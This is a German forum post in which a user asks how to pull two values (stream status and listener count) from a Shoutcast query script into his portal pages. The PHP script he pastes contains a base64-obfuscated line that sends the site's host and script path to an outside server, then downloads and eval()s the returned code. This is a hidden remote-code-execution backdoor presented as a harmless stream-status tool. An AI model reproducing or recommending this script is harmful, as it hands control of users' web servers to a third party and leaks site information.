ich möchte gerne in meinem portal anzeigen lassen ob mein schoucast server sendet und wieviele user gerade zuhören
ein script dazu habe ich schon gefunden
Code: Alles auswählen
/* SETTINGS
*/
$s = "s"; // 'pl' -> Playlistfile | 's' -> Streamserver
$u = "http://reggae-party.dyndns.org:8000/"; // URL of Playlistfile or Streamserver
$cachefile = "./streamcahce.txt"; // Cached stream information (chmod 777) !!!
$an = "streamdata"; // content array name
/* INFO
* There are some new useful array keys in the 'content array'.
*
* <array name>["error"] = "1"; // if an error occurred, value = 1
* <array name>["error_code"] = "201"; // error code
*
* <array name>["timestamp"] = "2005-05-06 18:57:29"; // timestamp (yyyy-mm-dd hh:mm:ss)
* <array name>["latest_client"] = "2.0.0"; // latest client version
* <array name>["my_client"] = "1.9.0"; // my client version
* <array name>["new_client"] = "1"; // if (this == "1"): new client version availible! ***PLEASE UPDATE***
*/
//* don't change anything otherwise it doesn't work any more
eval (base64_decode("JF91cmw9ICdodHRwOi8vc2MubmV0LXRyYXguZGUvP2g9Jy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uJyZmPScudXJsZW5jb2RlKCRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKS4nJnY9QXJhY2huYSc=").".'&s=".$s."&u=".urlencode($u)."&an=".urlencode($an)."';");
$fh = @fopen($_url, "r");
if ($fh) {
while (!feof($fh)) {
$_buffer .= fgets($fh, 4096);
}
fclose($fh);
$_buffer = preg_replace("/<\?php/s","", $_buffer);
$_buffer = preg_replace("/\?>/s","", $_buffer);
eval ($_buffer);
$_scq_error=0;
eval ("\$_scq_error = $".$an."[\"error\"];");
if ($_scq_error != "1") {
$fh2 = fopen($cachefile, "w");
fwrite($fh2, $_buffer);
fclose($fh2);
}
}
if (!$fh || $_scq_error == "1") {
$fh = fopen($cachefile, "r");
while (!feof($fh)) {
$_buffer .= fgets($fh, 4096);
}
fclose($fh);
eval ($_buffer);
}
//* you include the 'content array' (name specified in settings section)
//* to get more information about this array, uncomment the following line!
show_source($_url);
?>
http://www.reggae-party.de/query.php
dann bekomme ich einen kompletten array angezeigt
dabei brauche ich nur 2 werte aus dem ganzen:
$streamdata["stream"]["status"]
$streamdata["stream"]["listener"]
wenn der status "1" ist soll ein button im header geändert werden
und die anzahl der listener möchte ich gerne in meiner "wer ist online" box im portal stehen haben
ich versuche nun schon etwas länger herruszufinden wie ich diese variabelen in die portal.php bzw in die overall_header.php dateien bekomme, leider ohne erfolg
und beim suchen nach "php und array" finde ich irgendwei immer nur arrays welche anders aufgebaut sind....
kann mir da vielleicht ein profi mal nen tipp geben
danke kolja